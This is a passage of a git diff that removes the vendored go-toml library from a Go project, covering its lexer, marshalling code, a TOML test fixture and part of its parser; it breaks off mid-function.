Position{l.line, l.col}, - typ: tokenError, - val: fmt.Sprintf(format, args...), - } - return nil -} - -// State functions - -func (l *tomlLexer) lexVoid() tomlLexStateFn { - for { - next := l.peek() - switch next { - case '[': - return l.lexTableKey - case '#': - return l.lexComment(l.lexVoid) - case '=': - return l.lexEqual - case '\r': - fallthrough - case '\n': - l.skip() - continue - } - - if isSpace(next) { - l.skip() - } - - if l.depth > 0 { - return l.lexRvalue - } - - if isKeyStartChar(next) { - return l.lexKey - } - - if next == eof { - l.next() - break - } - } - - l.emit(tokenEOF) - return nil -} - -func (l *tomlLexer) lexRvalue() tomlLexStateFn { - for { - next := l.peek() - switch next { - case '.': - return l.errorf("cannot start float with a dot") - case '=': - return l.lexEqual - case '[': - l.depth++ - return l.lexLeftBracket - case ']': - l.depth-- - return l.lexRightBracket - case '{': - return l.lexLeftCurlyBrace - case '}': - return l.lexRightCurlyBrace - case '#': - return l.lexComment(l.lexRvalue) - case '"': - return l.lexString - case '\'': - return l.lexLiteralString - case ',': - return l.lexComma - case '\r': - fallthrough - case '\n': - l.skip() - if l.depth == 0 { - return l.lexVoid - } - return l.lexRvalue - case '_': - return l.errorf("cannot start number with underscore") - } - - if l.follow("true") { - return l.lexTrue - } - - if l.follow("false") { - return l.lexFalse - } - - if isSpace(next) { - l.skip() - continue - } - - if next == eof { - l.next() - break - } - - possibleDate := string(l.input.PeekRunes(35)) - dateMatch := dateRegexp.FindString(possibleDate) - if dateMatch != "" { - l.fastForward(len(dateMatch)) - return l.lexDate - } - - if next == '+' || next == '-' || isDigit(next) { - return l.lexNumber - } - - if isAlphanumeric(next) { - return l.lexKey - } - - return l.errorf("no value can start with %c", next) - } - - l.emit(tokenEOF) - return nil -} - -func (l *tomlLexer) lexLeftCurlyBrace() tomlLexStateFn { - l.next() - l.emit(tokenLeftCurlyBrace) - return l.lexRvalue -} - -func (l *tomlLexer) lexRightCurlyBrace() tomlLexStateFn { - l.next() - l.emit(tokenRightCurlyBrace) - return l.lexRvalue -} - -func (l *tomlLexer) lexDate() tomlLexStateFn { - l.emit(tokenDate) - return l.lexRvalue -} - -func (l *tomlLexer) lexTrue() tomlLexStateFn { - l.fastForward(4) - l.emit(tokenTrue) - return l.lexRvalue -} - -func (l *tomlLexer) lexFalse() tomlLexStateFn { - l.fastForward(5) - l.emit(tokenFalse) - return l.lexRvalue -} - -func (l *tomlLexer) lexEqual() tomlLexStateFn { - l.next() - l.emit(tokenEqual) - return l.lexRvalue -} - -func (l *tomlLexer) lexComma() tomlLexStateFn { - l.next() - l.emit(tokenComma) - return l.lexRvalue -} - -func (l *tomlLexer) lexKey() tomlLexStateFn { - growingString := "" - - for r := l.peek(); isKeyChar(r) || r == '\n' || r == '\r'; r = l.peek() { - if r == '"' { - l.next() - str, err := l.lexStringAsString(`"`, false, true) - if err != nil { - return l.errorf(err.Error()) - } - growingString += `"` + str + `"` - l.next() - continue - } else if r == '\n' { - return l.errorf("keys cannot contain new lines") - } else if isSpace(r) { - break - } else if !isValidBareChar(r) { - return l.errorf("keys cannot contain %c character", r) - } - growingString += string(r) - l.next() - } - l.emitWithValue(tokenKey, growingString) - return l.lexVoid -} - -func (l *tomlLexer) lexComment(previousState tomlLexStateFn) tomlLexStateFn { - return func() tomlLexStateFn { - for next := l.peek(); next != '\n' && next != eof; next = l.peek() { - if next == '\r' && l.follow("\r\n") { - break - } - l.next() - } - l.ignore() - return previousState - } -} - -func (l *tomlLexer) lexLeftBracket() tomlLexStateFn { - l.next() - l.emit(tokenLeftBracket) - return l.lexRvalue -} - -func (l *tomlLexer) lexLiteralStringAsString(terminator string, discardLeadingNewLine bool) (string, error) { - growingString := "" - - if discardLeadingNewLine { - if l.follow("\r\n") { - l.skip() - l.skip() - } else if l.peek() == '\n' { - l.skip() - } - } - - // find end of string - for { - if l.follow(terminator) { - return growingString, nil - } - - next := l.peek() - if next == eof { - break - } - growingString += string(l.next()) - } - - return "", errors.New("unclosed string") -} - -func (l *tomlLexer) lexLiteralString() tomlLexStateFn { - l.skip() - - // handle special case for triple-quote - terminator := "'" - discardLeadingNewLine := false - if l.follow("''") { - l.skip() - l.skip() - terminator = "'''" - discardLeadingNewLine = true - } - - str, err := l.lexLiteralStringAsString(terminator, discardLeadingNewLine) - if err != nil { - return l.errorf(err.Error()) - } - - l.emitWithValue(tokenString, str) - l.fastForward(len(terminator)) - l.ignore() - return l.lexRvalue -} - -// Lex a string and return the results as a string. -// Terminator is the substring indicating the end of the token. -// The resulting string does not include the terminator. -func (l *tomlLexer) lexStringAsString(terminator string, discardLeadingNewLine, acceptNewLines bool) (string, error) { - growingString := "" - - if discardLeadingNewLine { - if l.follow("\r\n") { - l.skip() - l.skip() - } else if l.peek() == '\n' { - l.skip() - } - } - - for { - if l.follow(terminator) { - return growingString, nil - } - - if l.follow("\\") { - l.next() - switch l.peek() { - case '\r': - fallthrough - case '\n': - fallthrough - case '\t': - fallthrough - case ' ': - // skip all whitespace chars following backslash - for strings.ContainsRune("\r\n\t ", l.peek()) { - l.next() - } - case '"': - growingString += "\"" - l.next() - case 'n': - growingString += "\n" - l.next() - case 'b': - growingString += "\b" - l.next() - case 'f': - growingString += "\f" - l.next() - case '/': - growingString += "/" - l.next() - case 't': - growingString += "\t" - l.next() - case 'r': - growingString += "\r" - l.next() - case '\\': - growingString += "\\" - l.next() - case 'u': - l.next() - code := "" - for i := 0; i < 4; i++ { - c := l.peek() - if !isHexDigit(c) { - return "", errors.New("unfinished unicode escape") - } - l.next() - code = code + string(c) - } - intcode, err := strconv.ParseInt(code, 16, 32) - if err != nil { - return "", errors.New("invalid unicode escape: \\u" + code) - } - growingString += string(rune(intcode)) - case 'U': - l.next() - code := "" - for i := 0; i < 8; i++ { - c := l.peek() - if !isHexDigit(c) { - return "", errors.New("unfinished unicode escape") - } - l.next() - code = code + string(c) - } - intcode, err := strconv.ParseInt(code, 16, 64) - if err != nil { - return "", errors.New("invalid unicode escape: \\U" + code) - } - growingString += string(rune(intcode)) - default: - return "", errors.New("invalid escape sequence: \\" + string(l.peek())) - } - } else { - r := l.peek() - - if 0x00 <= r && r <= 0x1F && !(acceptNewLines && (r == '\n' || r == '\r')) { - return "", fmt.Errorf("unescaped control character %U", r) - } - l.next() - growingString += string(r) - } - - if l.peek() == eof { - break - } - } - - return "", errors.New("unclosed string") -} - -func (l *tomlLexer) lexString() tomlLexStateFn { - l.skip() - - // handle special case for triple-quote - terminator := `"` - discardLeadingNewLine := false - acceptNewLines := false - if l.follow(`""`) { - l.skip() - l.skip() - terminator = `"""` - discardLeadingNewLine = true - acceptNewLines = true - } - - str, err := l.lexStringAsString(terminator, discardLeadingNewLine, acceptNewLines) - - if err != nil { - return l.errorf(err.Error()) - } - - l.emitWithValue(tokenString, str) - l.fastForward(len(terminator)) - l.ignore() - return l.lexRvalue -} - -func (l *tomlLexer) lexTableKey() tomlLexStateFn { - l.next() - - if l.peek() == '[' { - // token '[[' signifies an array of tables - l.next() - l.emit(tokenDoubleLeftBracket) - return l.lexInsideTableArrayKey - } - // vanilla table key - l.emit(tokenLeftBracket) - return l.lexInsideTableKey -} - -func (l *tomlLexer) lexInsideTableArrayKey() tomlLexStateFn { - for r := l.peek(); r != eof; r = l.peek() { - switch r { - case ']': - if l.buffer.Len() > 0 { - l.emit(tokenKeyGroupArray) - } - l.next() - if l.peek() != ']' { - break - } - l.next() - l.emit(tokenDoubleRightBracket) - return l.lexVoid - case '[': - return l.errorf("table array key cannot contain ']'") - default: - l.next() - } - } - return l.errorf("unclosed table array key") -} - -func (l *tomlLexer) lexInsideTableKey() tomlLexStateFn { - for r := l.peek(); r != eof; r = l.peek() { - switch r { - case ']': - if l.buffer.Len() > 0 { - l.emit(tokenKeyGroup) - } - l.next() - l.emit(tokenRightBracket) - return l.lexVoid - case '[': - return l.errorf("table key cannot contain ']'") - default: - l.next() - } - } - return l.errorf("unclosed table key") -} - -func (l *tomlLexer) lexRightBracket() tomlLexStateFn { - l.next() - l.emit(tokenRightBracket) - return l.lexRvalue -} - -func (l *tomlLexer) lexNumber() tomlLexStateFn { - r := l.peek() - if r == '+' || r == '-' { - l.next() - } - pointSeen := false - expSeen := false - digitSeen := false - for { - next := l.peek() - if next == '.' { - if pointSeen { - return l.errorf("cannot have two dots in one float") - } - l.next() - if !isDigit(l.peek()) { - return l.errorf("float cannot end with a dot") - } - pointSeen = true - } else if next == 'e' || next == 'E' { - expSeen = true - l.next() - r := l.peek() - if r == '+' || r == '-' { - l.next() - } - } else if isDigit(next) { - digitSeen = true - l.next() - } else if next == '_' { - l.next() - } else { - break - } - if pointSeen && !digitSeen { - return l.errorf("cannot start float with a dot") - } - } - - if !digitSeen { - return l.errorf("no digit in that number") - } - if pointSeen || expSeen { - l.emit(tokenFloat) - } else { - l.emit(tokenInteger) - } - return l.lexRvalue -} - -func (l *tomlLexer) run() { - for state := l.lexVoid; state != nil; { - state = state() - } - close(l.tokens) -} - -func init() { - dateRegexp = regexp.MustCompile(`^\d{1,4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{1,9})?(Z|[+-]\d{2}:\d{2})`) -} - -// Entry point -func lexToml(input io.Reader) chan token { - bufferedInput := buffruneio.NewReader(input) - l := &tomlLexer{ - input: bufferedInput, - tokens: make(chan token), - line: 1, - col: 1, - endbufferLine: 1, - endbufferCol: 1, - } - go l.run() - return l.tokens -} diff --git a/vendor/github.com/pelletier/go-toml/marshal.go b/vendor/github.com/pelletier/go-toml/marshal.go deleted file mode 100644 index 9bf6fb988a..0000000000 --- a/vendor/github.com/pelletier/go-toml/marshal.go +++ /dev/null @@ -1,484 +0,0 @@ -package toml - -import ( - "bytes" - "errors" - "fmt" - "reflect" - "strings" - "time" -) - -type tomlOpts struct { - name string - include bool - omitempty bool -} - -var timeType = reflect.TypeOf(time.Time{}) -var marshalerType = reflect.TypeOf(new(Marshaler)).Elem() - -// Check if the given marshall type maps to a Tree primitive -func isPrimitive(mtype reflect.Type) bool { - switch mtype.Kind() { - case reflect.Ptr: - return isPrimitive(mtype.Elem()) - case reflect.Bool: - return true - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return true - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: - return true - case reflect.Float32, reflect.Float64: - return true - case reflect.String: - return true - case reflect.Struct: - return mtype == timeType || isCustomMarshaler(mtype) - default: - return false - } -} - -// Check if the given marshall type maps to a Tree slice -func isTreeSlice(mtype reflect.Type) bool { - switch mtype.Kind() { - case reflect.Slice: - return !isOtherSlice(mtype) - default: - return false - } -} - -// Check if the given marshall type maps to a non-Tree slice -func isOtherSlice(mtype reflect.Type) bool { - switch mtype.Kind() { - case reflect.Ptr: - return isOtherSlice(mtype.Elem()) - case reflect.Slice: - return isPrimitive(mtype.Elem()) || isOtherSlice(mtype.Elem()) - default: - return false - } -} - -// Check if the given marshall type maps to a Tree -func isTree(mtype reflect.Type) bool { - switch mtype.Kind() { - case reflect.Map: - return true - case reflect.Struct: - return !isPrimitive(mtype) - default: - return false - } -} - -func isCustomMarshaler(mtype reflect.Type) bool { - return mtype.Implements(marshalerType) -} - -func callCustomMarshaler(mval reflect.Value) ([]byte, error) { - return mval.Interface().(Marshaler).MarshalTOML() -} - -// Marshaler is the interface implemented by types that -// can marshal themselves into valid TOML. -type Marshaler interface { - MarshalTOML() ([]byte, error) -} - -/* -Marshal returns the TOML encoding of v. Behavior is similar to the Go json -encoder, except that there is no concept of a Marshaler interface or MarshalTOML -function for sub-structs, and currently only definite types can be marshaled -(i.e. no `interface{}`). - -Note that pointers are automatically assigned the "omitempty" option, as TOML -explicity does not handle null values (saying instead the label should be -dropped). - -Tree structural types and corresponding marshal types: - - *Tree (*)struct, (*)map[string]interface{} - []*Tree (*)[](*)struct, (*)[](*)map[string]interface{} - []interface{} (as interface{}) (*)[]primitive, (*)[]([]interface{}) - interface{} (*)primitive - -Tree primitive types and corresponding marshal types: - - uint64 uint, uint8-uint64, pointers to same - int64 int, int8-uint64, pointers to same - float64 float32, float64, pointers to same - string string, pointers to same - bool bool, pointers to same - time.Time time.Time{}, pointers to same -*/ -func Marshal(v interface{}) ([]byte, error) { - mtype := reflect.TypeOf(v) - if mtype.Kind() != reflect.Struct { - return []byte{}, errors.New("Only a struct can be marshaled to TOML") - } - sval := reflect.ValueOf(v) - if isCustomMarshaler(mtype) { - return callCustomMarshaler(sval) - } - t, err := valueToTree(mtype, sval) - if err != nil { - return []byte{}, err - } - s, err := t.ToTomlString() - return []byte(s), err -} - -// Convert given marshal struct or map value to toml tree -func valueToTree(mtype reflect.Type, mval reflect.Value) (*Tree, error) { - if mtype.Kind() == reflect.Ptr { - return valueToTree(mtype.Elem(), mval.Elem()) - } - tval := newTree() - switch mtype.Kind() { - case reflect.Struct: - for i := 0; i < mtype.NumField(); i++ { - mtypef, mvalf := mtype.Field(i), mval.Field(i) - opts := tomlOptions(mtypef) - if opts.include && (!opts.omitempty || !isZero(mvalf)) { - val, err := valueToToml(mtypef.Type, mvalf) - if err != nil { - return nil, err - } - tval.Set(opts.name, val) - } - } - case reflect.Map: - for _, key := range mval.MapKeys() { - mvalf := mval.MapIndex(key) - val, err := valueToToml(mtype.Elem(), mvalf) - if err != nil { - return nil, err - } - tval.Set(key.String(), val) - } - } - return tval, nil -} - -// Convert given marshal slice to slice of Toml trees -func valueToTreeSlice(mtype reflect.Type, mval reflect.Value) ([]*Tree, error) { - tval := make([]*Tree, mval.Len(), mval.Len()) - for i := 0; i < mval.Len(); i++ { - val, err := valueToTree(mtype.Elem(), mval.Index(i)) - if err != nil { - return nil, err - } - tval[i] = val - } - return tval, nil -} - -// Convert given marshal slice to slice of toml values -func valueToOtherSlice(mtype reflect.Type, mval reflect.Value) (interface{}, error) { - tval := make([]interface{}, mval.Len(), mval.Len()) - for i := 0; i < mval.Len(); i++ { - val, err := valueToToml(mtype.Elem(), mval.Index(i)) - if err != nil { - return nil, err - } - tval[i] = val - } - return tval, nil -} - -// Convert given marshal value to toml value -func valueToToml(mtype reflect.Type, mval reflect.Value) (interface{}, error) { - if mtype.Kind() == reflect.Ptr { - return valueToToml(mtype.Elem(), mval.Elem()) - } - switch { - case isCustomMarshaler(mtype): - return callCustomMarshaler(mval) - case isTree(mtype): - return valueToTree(mtype, mval) - case isTreeSlice(mtype): - return valueToTreeSlice(mtype, mval) - case isOtherSlice(mtype): - return valueToOtherSlice(mtype, mval) - default: - switch mtype.Kind() { - case reflect.Bool: - return mval.Bool(), nil - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return mval.Int(), nil - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: - return mval.Uint(), nil - case reflect.Float32, reflect.Float64: - return mval.Float(), nil - case reflect.String: - return mval.String(), nil - case reflect.Struct: - return mval.Interface().(time.Time), nil - default: - return nil, fmt.Errorf("Marshal can't handle %v(%v)", mtype, mtype.Kind()) - } - } -} - -// Unmarshal attempts to unmarshal the Tree into a Go struct pointed by v. -// Neither Unmarshaler interfaces nor UnmarshalTOML functions are supported for -// sub-structs, and only definite types can be unmarshaled. -func (t *Tree) Unmarshal(v interface{}) error { - mtype := reflect.TypeOf(v) - if mtype.Kind() != reflect.Ptr || mtype.Elem().Kind() != reflect.Struct { - return errors.New("Only a pointer to struct can be unmarshaled from TOML") - } - - sval, err := valueFromTree(mtype.Elem(), t) - if err != nil { - return err - } - reflect.ValueOf(v).Elem().Set(sval) - return nil -} - -// Unmarshal parses the TOML-encoded data and stores the result in the value -// pointed to by v. Behavior is similar to the Go json encoder, except that there -// is no concept of an Unmarshaler interface or UnmarshalTOML function for -// sub-structs, and currently only definite types can be unmarshaled to (i.e. no -// `interface{}`). -// -// See Marshal() documentation for types mapping table. -func Unmarshal(data []byte, v interface{}) error { - t, err := LoadReader(bytes.NewReader(data)) - if err != nil { - return err - } - return t.Unmarshal(v) -} - -// Convert toml tree to marshal struct or map, using marshal type -func valueFromTree(mtype reflect.Type, tval *Tree) (reflect.Value, error) { - if mtype.Kind() == reflect.Ptr { - return unwrapPointer(mtype, tval) - } - var mval reflect.Value - switch mtype.Kind() { - case reflect.Struct: - mval = reflect.New(mtype).Elem() - for i := 0; i < mtype.NumField(); i++ { - mtypef := mtype.Field(i) - opts := tomlOptions(mtypef) - if opts.include { - key := opts.name - exists := tval.Has(key) - if exists { - val := tval.Get(key) - mvalf, err := valueFromToml(mtypef.Type, val) - if err != nil { - return mval, formatError(err, tval.GetPosition(key)) - } - mval.Field(i).Set(mvalf) - } - } - } - case reflect.Map: - mval = reflect.MakeMap(mtype) - for _, key := range tval.Keys() { - val := tval.Get(key) - mvalf, err := valueFromToml(mtype.Elem(), val) - if err != nil { - return mval, formatError(err, tval.GetPosition(key)) - } - mval.SetMapIndex(reflect.ValueOf(key), mvalf) - } - } - return mval, nil -} - -// Convert toml value to marshal struct/map slice, using marshal type -func valueFromTreeSlice(mtype reflect.Type, tval []*Tree) (reflect.Value, error) { - mval := reflect.MakeSlice(mtype, len(tval), len(tval)) - for i := 0; i < len(tval); i++ { - val, err := valueFromTree(mtype.Elem(), tval[i]) - if err != nil { - return mval, err - } - mval.Index(i).Set(val) - } - return mval, nil -} - -// Convert toml value to marshal primitive slice, using marshal type -func valueFromOtherSlice(mtype reflect.Type, tval []interface{}) (reflect.Value, error) { - mval := reflect.MakeSlice(mtype, len(tval), len(tval)) - for i := 0; i < len(tval); i++ { - val, err := valueFromToml(mtype.Elem(), tval[i]) - if err != nil { - return mval, err - } - mval.Index(i).Set(val) - } - return mval, nil -} - -// Convert toml value to marshal value, using marshal type -func valueFromToml(mtype reflect.Type, tval interface{}) (reflect.Value, error) { - if mtype.Kind() == reflect.Ptr { - return unwrapPointer(mtype, tval) - } - switch { - case isTree(mtype): - return valueFromTree(mtype, tval.(*Tree)) - case isTreeSlice(mtype): - return valueFromTreeSlice(mtype, tval.([]*Tree)) - case isOtherSlice(mtype): - return valueFromOtherSlice(mtype, tval.([]interface{})) - default: - switch mtype.Kind() { - case reflect.Bool: - val, ok := tval.(bool) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to bool", tval, tval) - } - return reflect.ValueOf(val), nil - case reflect.Int: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to int", tval, tval) - } - return reflect.ValueOf(int(val)), nil - case reflect.Int8: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to int", tval, tval) - } - return reflect.ValueOf(int8(val)), nil - case reflect.Int16: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to int", tval, tval) - } - return reflect.ValueOf(int16(val)), nil - case reflect.Int32: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to int", tval, tval) - } - return reflect.ValueOf(int32(val)), nil - case reflect.Int64: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to int", tval, tval) - } - return reflect.ValueOf(val), nil - case reflect.Uint: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to uint", tval, tval) - } - return reflect.ValueOf(uint(val)), nil - case reflect.Uint8: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to uint", tval, tval) - } - return reflect.ValueOf(uint8(val)), nil - case reflect.Uint16: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to uint", tval, tval) - } - return reflect.ValueOf(uint16(val)), nil - case reflect.Uint32: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to uint", tval, tval) - } - return reflect.ValueOf(uint32(val)), nil - case reflect.Uint64: - val, ok := tval.(int64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to uint", tval, tval) - } - return reflect.ValueOf(uint64(val)), nil - case reflect.Float32: - val, ok := tval.(float64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to float", tval, tval) - } - return reflect.ValueOf(float32(val)), nil - case reflect.Float64: - val, ok := tval.(float64) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to float", tval, tval) - } - return reflect.ValueOf(val), nil - case reflect.String: - val, ok := tval.(string) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to string", tval, tval) - } - return reflect.ValueOf(val), nil - case reflect.Struct: - val, ok := tval.(time.Time) - if !ok { - return reflect.ValueOf(nil), fmt.Errorf("Can't convert %v(%T) to time", tval, tval) - } - return reflect.ValueOf(val), nil - default: - return reflect.ValueOf(nil), fmt.Errorf("Unmarshal can't handle %v(%v)", mtype, mtype.Kind()) - } - } -} - -func unwrapPointer(mtype reflect.Type, tval interface{}) (reflect.Value, error) { - val, err := valueFromToml(mtype.Elem(), tval) - if err != nil { - return reflect.ValueOf(nil), err - } - mval := reflect.New(mtype.Elem()) - mval.Elem().Set(val) - return mval, nil -} - -func tomlOptions(vf reflect.StructField) tomlOpts { - tag := vf.Tag.Get("toml") - parse := strings.Split(tag, ",") - result := tomlOpts{vf.Name, true, false} - if parse[0] != "" { - if parse[0] == "-" && len(parse) == 1 { - result.include = false - } else { - result.name = strings.Trim(parse[0], " ") - } - } - if vf.PkgPath != "" { - result.include = false - } - if len(parse) > 1 && strings.Trim(parse[1], " ") == "omitempty" { - result.omitempty = true - } - if vf.Type.Kind() == reflect.Ptr { - result.omitempty = true - } - return result -} - -func isZero(val reflect.Value) bool { - switch val.Type().Kind() { - case reflect.Map: - fallthrough - case reflect.Array: - fallthrough - case reflect.Slice: - return val.Len() == 0 - default: - return reflect.DeepEqual(val.Interface(), reflect.Zero(val.Type()).Interface()) - } -} - -func formatError(err error, pos Position) error { - if err.Error()[0] == '(' { // Error already contains position information - return err - } - return fmt.Errorf("%s: %s", pos, err) -} diff --git a/vendor/github.com/pelletier/go-toml/marshal_test.toml b/vendor/github.com/pelletier/go-toml/marshal_test.toml deleted file mode 100644 index 1c5f98e7a8..0000000000 --- a/vendor/github.com/pelletier/go-toml/marshal_test.toml +++ /dev/null @@ -1,38 +0,0 @@ -title = "TOML Marshal Testing" - -[basic] - bool = true - date = 1979-05-27T07:32:00Z - float = 123.4 - int = 5000 - string = "Bite me" - uint = 5001 - -[basic_lists] - bools = [true,false,true] - dates = [1979-05-27T07:32:00Z,1980-05-27T07:32:00Z] - floats = [12.3,45.6,78.9] - ints = [8001,8001,8002] - strings = ["One","Two","Three"] - uints = [5002,5003] - -[basic_map] - one = "one" - two = "two" - -[subdoc] - - [subdoc.first] - name = "First" - - [subdoc.second] - name = "Second" - -[[subdoclist]] - name = "List.First" - -[[subdoclist]] - name = "List.Second" - -[[subdocptrs]] - name = "Second" diff --git a/vendor/github.com/pelletier/go-toml/parser.go b/vendor/github.com/pelletier/go-toml/parser.go deleted file mode 100644 index 64eb0e587c..0000000000 --- a/vendor/github.com/pelletier/go-toml/parser.go +++ /dev/null @@ -1,393 +0,0 @@ -// TOML Parser. - -package toml - -import ( - "errors" - "fmt" - "reflect" - "regexp" - "strconv" - "strings" - "time" -) - -type tomlParser struct { - flow chan token - tree *Tree - tokensBuffer []token - currentTable []string - seenTableKeys []string -} - -type tomlParserStateFn func() tomlParserStateFn - -// Formats and panics an error message based on a token -func (p *tomlParser) raiseError(tok *token, msg string, args ...interface{}) { - panic(tok.Position.String() + ": " + fmt.Sprintf(msg, args...)) -} - -func (p *tomlParser) run() { - for state := p.parseStart; state != nil; { - state = state() - } -} - -func (p *tomlParser) peek() *token { - if len(p.tokensBuffer) != 0 { - return &(p.tokensBuffer[0]) - } - - tok, ok := <-p.flow - if !ok { - return nil - } - p.tokensBuffer = append(p.tokensBuffer, tok) - return &tok -} - -func (p *tomlParser) assume(typ tokenType) { - tok := p.getToken() - if tok == nil { - p.raiseError(tok, "was expecting token %s, but token stream is empty", tok) - } - if tok.typ != typ { - p.raiseError(tok, "was expecting token %s, but got %s instead", typ, tok) - } -} - -func (p *tomlParser) getToken() *token { - if len(p.tokensBuffer) != 0 { - tok := p.tokensBuffer[0] - p.tokensBuffer = p.tokensBuffer[1:] - return &tok - } - tok, ok := <-p.flow - if !ok { - return nil - } - return &tok -} - -func (p *tomlParser) parseStart() tomlParserStateFn { - tok := p.peek() - - // end of stream, parsing is finished - if tok == nil { - return nil - } - - switch tok.typ { - case tokenDoubleLeftBracket: - return p.parseGroupArray - case tokenLeftBracket: - return p.parseGroup - case tokenKey: - return p.parseAssign - case tokenEOF: - return nil - default: - p.raiseError(tok, "unexpected token") - } - return nil -} - -func (p *tomlParser) parseGroupArray() tomlParserStateFn { - startToken := p.getToken() // discard the [[ - key := p.getToken() - if key.typ != tokenKeyGroupArray { - p.raiseError(key, "unexpected token %s, was expecting a table array key", key) - } - - // get or create table array element at the indicated part in the path - keys, err := parseKey(key.val) - if err != nil { - p.raiseError(key, "invalid table array key: %s", err) - } - p.tree.createSubTree(keys[:len(keys)-1], startToken.Position) // create parent entries - destTree := p.tree.GetPath(keys) - var array []*Tree - if destTree == nil { - array = make([]*Tree, 0) - } else if target, ok := destTree.([]*Tree); ok && target != nil { - array = destTree.([]*Tree) - } else { - p.raiseError(key, "key %s is already assigned and not of type table array", key) - } - p.currentTable = keys - - // add a new tree to the end of the table array - newTree := newTree() - newTree.position = startToken.Position - array = append(array, newTree) - p.tree.SetPath(p.currentTable, array) - - // remove all keys that were children of this table array - prefix := key.val + "." - found := false - for ii := 0; ii < len(p.seenTableKeys); { - tableKey := p.seenTableKeys[ii] - if strings.HasPrefix(tableKey, prefix) { - p.seenTableKeys = append(p.seenTableKeys[:ii], p.seenTableKeys[ii+1:]...) - } else { - found = (tableKey == key.val) - ii++ - } - } - - // keep this key name from use by other kinds of assignments - if !found { - p.seenTableKeys = append(p.seenTableKeys, key.val) - } - - // move to next parser state - p.assume(tokenDoubleRightBracket) - return p.parseStart -} - -func (p *tomlParser) parseGroup() tomlParserStateFn { - startToken := p.getToken() // discard the [ - key := p.getToken() - if key.typ != tokenKeyGroup { - p.raiseError(key, "unexpected token %s, was expecting a table key", key) - } - for _, item := range p.seenTableKeys { - if item == key.val { - p.raiseError(key, "duplicated tables") - } - } - - p.seenTableKeys = append(p.seenTableKeys, key.val) - keys, err := parseKey(key.val) - if err != nil { - p.raiseError(key, "invalid table array key: %s", err) - } - if err := p.tree.createSubTree(keys, startToken.Position); err != nil { - p.raiseError(key, "%s", err) - } - p.assume(tokenRightBracket) - p.currentTable = keys - return p.parseStart -} - -func (p *tomlParser) parseAssign() tomlParserStateFn { - key := p.getToken() - p.assume(tokenEqual) - - value := p.parseRvalue() - var tableKey []string - if len(p.currentTable) > 0 { - tableKey = p.currentTable - } else { - tableKey = []string{} - } - - // find the table to assign, looking out for arrays of tables - var targetNode *Tree - switch node := p.tree.GetPath(tableKey).(type) { - case []*Tree: - targetNode = node[len(node)-1] - case *Tree: - targetNode = node - default: - p.raiseError(key, "Unknown table type for path: %s", - strings.Join(tableKey, ".")) - } - - // assign value to the found table - keyVals, err := parseKey(key.val) - if err != nil { - p.raiseError(key, "%s", err) - } - if len(keyVals) != 1 { - p.raiseError(key, "Invalid key") - } - keyVal := keyVals[0] - localKey := []string{keyVal} - finalKey := append(tableKey, keyVal) - if targetNode.GetPath(localKey) != nil { - p.raiseError(key, "The following key was defined twice: %s", - strings.Join(finalKey, ".")) - } - var toInsert interface{} - - switch value.(type) { - case *Tree, []*Tree: - toInsert = value - default: - toInsert = &tomlValue{value, key.Position} - } - targetNode.values[keyVal] = toInsert - return p.parseStart -} - -var numberUnderscoreInvalidRegexp *regexp.Regexp - -func cleanupNumberToken(value string) (string, error) { - if numberUnderscoreInvalidRegexp.MatchString(value) { - return "", errors.New("invalid use of _ in number") - } - cleanedVal := strings.Replace(value, "_", "", -1) - return cleanedVal, nil -} - -func (p *tomlParser) parseRvalue() interface{} { - tok := p.getToken() - if tok == nil || tok.typ == tokenEOF { - p.raiseError(tok, "expecting a value") - } - - switch tok.typ { - case tokenString: - return tok.val - case tokenTrue: - return true - case tokenFalse: - return false - case tokenInteger: - cleanedVal, err := cleanupNumberToken(tok.val) - if err != nil { - p.raiseError(tok, "%s", err) - } - val, err := strconv.ParseInt(cleanedVal, 10, 64) - if err != nil { - p.raiseError(tok, "%s", err) - } - return val - case tokenFloat: - cleanedVal, err := cleanupNumberToken(tok.val) - if err != nil { - p.raiseError(tok, "%s", err) - } - val, err := strconv.ParseFloat(cleanedVal, 64) - if err != nil { - p.raiseError(tok, "%s", err) - } - return val - case tokenDate: - val, err := time.ParseInLocation(time.RFC3339Nano, tok.val, time.UTC) - if err != nil { - p.raiseError(tok, "%s", err) - } - return val - case tokenLeftBracket: - return p.parseArray() - case tokenLeftCurlyBrace: - return p.parseInlineTable() - case tokenEqual: - p.raiseError(tok, "cannot have multiple equals for the same key") - case tokenError: - p.raiseError(tok, "%s", tok) - } - - p.raiseError(tok, "never reached") - - return nil -} - -func tokenIsComma(t *token) bool { - return t != nil && t.typ == tokenComma -} - -func (p *tomlParser) parseInlineTable() *Tree { - tree := newTree() - var previous *token -Loop: - for { - follow := p.peek() - if follow == nil || follow.typ == tokenEOF { - p.raiseError(follow, "unterminated inline table") - } - switch follow.typ { - case tokenRightCurlyBrace: - p.getToken() - break Loop - case tokenKey: - if !tokenIsComma(previous) && previous != nil { - p.raiseError(follow, "comma expected between fields in inline table") - } - key := 